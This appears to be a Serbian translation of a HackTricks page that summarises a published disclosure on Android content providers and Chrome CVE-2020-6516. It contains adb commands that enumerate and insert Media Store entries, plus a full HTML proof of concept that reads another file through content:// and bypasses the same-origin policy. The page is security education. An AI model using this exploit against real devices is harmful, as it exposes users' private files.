tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Ovo je sažetak posta https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Listing Files in Media Store

Da biste naveli datoteke kojima upravlja Media Store, može se koristiti sledeća komanda:

bash
$ content query --uri content://media/external/file

Za ljudima prijatniji izlaz, prikazujući samo identifikator i putanju svake indeksirane datoteke:

bash
$ content query --uri content://media/external/file --projection _id,_data

Sadržajni provajderi su izolovani u svom privatnom imenskom prostoru. Pristup provajderu zahteva specifičan content:// URI. Informacije o putanjama za pristup provajderu mogu se dobiti iz manifestacija aplikacija ili iz izvornog koda Android okvira.

Chromeov Pristup Sadržajnim Provajderima

Chrome na Androidu može pristupiti sadržajnim provajderima putem content:// sheme, što mu omogućava pristup resursima kao što su fotografije ili dokumenti koje su izvezle aplikacije trećih strana. Da ilustrujemo ovo, datoteka se može umetnuti u Media Store i zatim pristupiti putem Chrome-a:

Umetnite prilagođeni unos u Media Store:

bash
cd /sdcard echo "Hello, world!" > test.txt content insert --uri content://media/external/file \ --bind _data:s:/storage/emulated/0/test.txt \ --bind mime_type:s:text/plain

Otkrivanje identifikatora novoinstalirane datoteke:

bash
content query --uri content://media/external/file \ --projection _id,_data | grep test.txt # Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Datoteku zatim možete pregledati u Chrome-u koristeći URL konstruisan sa identifikatorom datoteke.

Na primer, da biste naveli datoteke povezane sa određenom aplikacijom:

bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Bypass Same-Origin-Policy

Same Origin Policy (SOP) je bezbednosni protokol u pregledačima koji ograničava web stranice da komuniciraju sa resursima iz različitih izvora osim ako to nije izričito dozvoljeno politikom Cross-Origin-Resource-Sharing (CORS). Ova politika ima za cilj da spreči curenje informacija i napade putem cross-site request forgery. Chrome smatra content:// kao lokalnu shemu, što podrazumeva strože SOP pravila, gde se svaka lokalna shema URL tretira kao poseban izvor.

Međutim, CVE-2020-6516 je bila ranjivost u Chrome-u koja je omogućila zaobilaženje SOP pravila za resurse učitane putem content:// URL-a. U suštini, JavaScript kod sa content:// URL-a mogao je da pristupi drugim resursima učitanim putem content:// URL-a, što je predstavljalo značajnu bezbednosnu zabrinutost, posebno na Android uređajima koji koriste verzije starije od Android 10, gde nije implementirano ograničeno skladištenje.

Dokaz koncepta u nastavku prikazuje ovu ranjivost, gde HTML dokument, nakon što je otpremljen pod /sdcard i dodat u Media Store, koristi XMLHttpRequest u svom JavaScript-u da pristupi i prikaže sadržaj druge datoteke u Media Store-u, zaobilazeći SOP pravila.

Dokaz koncepta HTML:

xml
<html> <head> <title>PoC</title> <script type="text/javascript"> function poc() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if(this.readyState == 4) { if(this.status == 200 || this.status == 0) { alert(xhr.response); } } } xhr.open("GET", "content://media/external/file/747"); xhr.send(); } </script> </head> <body onload="poc()"></body> </html>

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks